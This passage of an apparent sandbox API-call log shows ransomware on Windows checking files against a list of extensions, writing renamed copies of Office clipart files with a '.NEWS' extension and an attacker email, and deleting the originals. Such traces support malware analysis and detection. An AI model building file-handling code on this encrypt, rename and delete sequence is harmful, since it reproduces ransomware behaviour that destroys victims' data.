(lpString1=".7z", lpString2="WMF") returned -1 [0181.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.654] lstrlenW (lpString=".dbf") returned 4 [0181.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.654] lstrlenW (lpString=".1cd") returned 4 [0181.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0181.654] lstrlenW (lpString=".jpg") returned 4 [0181.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.654] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.654] lstrlenW (lpString="J0107182.WMF") returned 12 [0181.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0181.656] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=16100) returned 1 [0181.656] CloseHandle (hObject=0x53c) returned 1 [0181.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 0x220 [0181.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0181.657] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.657] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0181.660] GetLastError () returned 0x0 [0181.660] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x3ee4, lpOverlapped=0x0) returned 1 [0181.741] WriteFile (in: hFile=0x560, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0181.743] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.744] WriteFile (in: hFile=0x560, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.744] SetEndOfFile (hFile=0x560) returned 1 [0181.744] CloseHandle (hObject=0x560) returned 1 [0181.744] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.744] SetEndOfFile (hFile=0x53c) returned 1 [0181.748] CloseHandle (hObject=0x53c) returned 1 [0181.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0181.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.755] lstrlenW (lpString=".doc") returned 4 [0181.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.755] lstrlenW (lpString=".docx") returned 5 [0181.756] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0181.756] lstrlenW (lpString=".pdf") returned 4 [0181.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.756] lstrlenW (lpString=".xls") returned 4 [0181.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.756] lstrlenW (lpString=".xlsx") returned 5 [0181.756] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0181.756] lstrlenW (lpString=".ppt") returned 4 [0181.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.756] lstrlenW (lpString=".zip") returned 4 [0181.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.756] lstrlenW (lpString=".rar") returned 4 [0181.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.756] lstrlenW (lpString=".bz2") returned 4 [0181.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.756] lstrlenW (lpString=".7z") returned 3 [0181.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.756] lstrlenW (lpString=".dbf") returned 4 [0181.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.756] lstrlenW (lpString=".1cd") returned 4 [0181.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.756] lstrlenW (lpString=".jpg") returned 4 [0181.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.757] lstrlenW (lpString=".doc") returned 4 [0181.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.757] lstrlenW (lpString=".docx") returned 5 [0181.757] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0181.757] lstrlenW (lpString=".pdf") returned 4 [0181.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.757] lstrlenW (lpString=".xls") returned 4 [0181.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.757] lstrlenW (lpString=".xlsx") returned 5 [0181.757] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0181.757] lstrlenW (lpString=".ppt") returned 4 [0181.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.758] lstrlenW (lpString=".zip") returned 4 [0181.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.758] lstrlenW (lpString=".rar") returned 4 [0181.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.758] lstrlenW (lpString=".bz2") returned 4 [0181.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.758] lstrlenW (lpString=".7z") returned 3 [0181.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.758] lstrlenW (lpString=".dbf") returned 4 [0181.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.758] lstrlenW (lpString=".1cd") returned 4 [0181.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0181.758] lstrlenW (lpString=".jpg") returned 4 [0181.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.758] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.758] lstrlenW (lpString="J0107188.WMF") returned 12 [0181.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0181.761] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4536) returned 1 [0181.761] CloseHandle (hObject=0x53c) returned 1 [0181.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 0x220 [0181.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0181.762] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.762] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0181.765] GetLastError () returned 0x0 [0181.765] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x11b8, lpOverlapped=0x0) returned 1 [0181.798] WriteFile (in: hFile=0x560, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x11c0, lpOverlapped=0x0) returned 1 [0181.799] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.799] WriteFile (in: hFile=0x560, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.800] SetEndOfFile (hFile=0x560) returned 1 [0181.800] CloseHandle (hObject=0x560) returned 1 [0181.800] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.800] SetEndOfFile (hFile=0x53c) returned 1 [0181.829] CloseHandle (hObject=0x53c) returned 1 [0181.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0181.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.831] lstrlenW (lpString=".doc") returned 4 [0181.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.831] lstrlenW (lpString=".docx") returned 5 [0181.831] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0181.831] lstrlenW (lpString=".pdf") returned 4 [0181.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.831] lstrlenW (lpString=".xls") returned 4 [0181.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.831] lstrlenW (lpString=".xlsx") returned 5 [0181.831] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0181.831] lstrlenW (lpString=".ppt") returned 4 [0181.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.831] lstrlenW (lpString=".zip") returned 4 [0181.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.831] lstrlenW (lpString=".rar") returned 4 [0181.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.832] lstrlenW (lpString=".bz2") returned 4 [0181.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.832] lstrlenW (lpString=".7z") returned 3 [0181.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.832] lstrlenW (lpString=".dbf") returned 4 [0181.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.832] lstrlenW (lpString=".1cd") returned 4 [0181.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.832] lstrlenW (lpString=".jpg") returned 4 [0181.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.832] lstrlenW (lpString=".doc") returned 4 [0181.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.832] lstrlenW (lpString=".docx") returned 5 [0181.832] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0181.832] lstrlenW (lpString=".pdf") returned 4 [0181.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.832] lstrlenW (lpString=".xls") returned 4 [0181.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.833] lstrlenW (lpString=".xlsx") returned 5 [0181.833] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0181.833] lstrlenW (lpString=".ppt") returned 4 [0181.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.833] lstrlenW (lpString=".zip") returned 4 [0181.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.833] lstrlenW (lpString=".rar") returned 4 [0181.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.833] lstrlenW (lpString=".bz2") returned 4 [0181.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.833] lstrlenW (lpString=".7z") returned 3 [0181.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.834] lstrlenW (lpString=".dbf") returned 4 [0181.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.834] lstrlenW (lpString=".1cd") returned 4 [0181.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0181.834] lstrlenW (lpString=".jpg") returned 4 [0181.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.834] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.834] lstrlenW (lpString="J0107254.WMF") returned 12 [0181.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.851] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=20212) returned 1 [0181.851] CloseHandle (hObject=0x544) returned 1 [0181.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 0x220 [0181.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0181.852] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.853] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.855] GetLastError () returned 0x0 [0181.855] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x4ef4, lpOverlapped=0x0) returned 1 [0181.868] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4f00, lpOverlapped=0x0) returned 1 [0181.870] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.870] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.870] SetEndOfFile (hFile=0x3f4) returned 1 [0181.870] CloseHandle (hObject=0x3f4) returned 1 [0181.870] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.871] SetEndOfFile (hFile=0x544) returned 1 [0181.875] CloseHandle (hObject=0x544) returned 1 [0181.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf")) returned 1 [0181.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0181.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0181.878] lstrlenW (lpString=".doc") returned 4 [0181.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.878] lstrlenW (lpString=".docx") returned 5 [0181.878] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0181.878] lstrlenW (lpString=".pdf") returned 4 [0181.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.878] lstrlenW (lpString=".xls") returned 4 [0181.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.878] lstrlenW (lpString=".xlsx") returned 5 [0181.878] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0181.878] lstrlenW (lpString=".ppt") returned 4 [0181.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0181.879] lstrlenW (lpString=".zip") returned 4 [0181.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.879] lstrlenW (lpString=".rar") returned 4 [0181.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString=".bz2") returned 4 [0181.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString=".7z") returned 3 [0181.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0181.879] lstrlenW (lpString=".dbf") returned 4 [0181.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0181.879] lstrlenW (lpString=".1cd") returned 4 [0181.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0181.879] lstrlenW (lpString=".jpg") returned 4 [0181.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0181.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0181.879] lstrlenW (lpString=".doc") returned 4 [0181.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.879] lstrlenW (lpString=".docx") returned 5 [0181.879] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0181.879] lstrlenW (lpString=".pdf") returned 4 [0181.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString=".xls") returned 4 [0181.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.880] lstrlenW (lpString=".xlsx") returned 5 [0181.880] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0181.880] lstrlenW (lpString=".ppt") returned 4 [0181.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0181.880] lstrlenW (lpString=".zip") returned 4 [0181.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.880] lstrlenW (lpString=".rar") returned 4 [0181.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString=".bz2") returned 4 [0181.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString=".7z") returned 3 [0181.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 68 [0181.880] lstrlenW (lpString=".dbf") returned 4 [0181.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF") returned 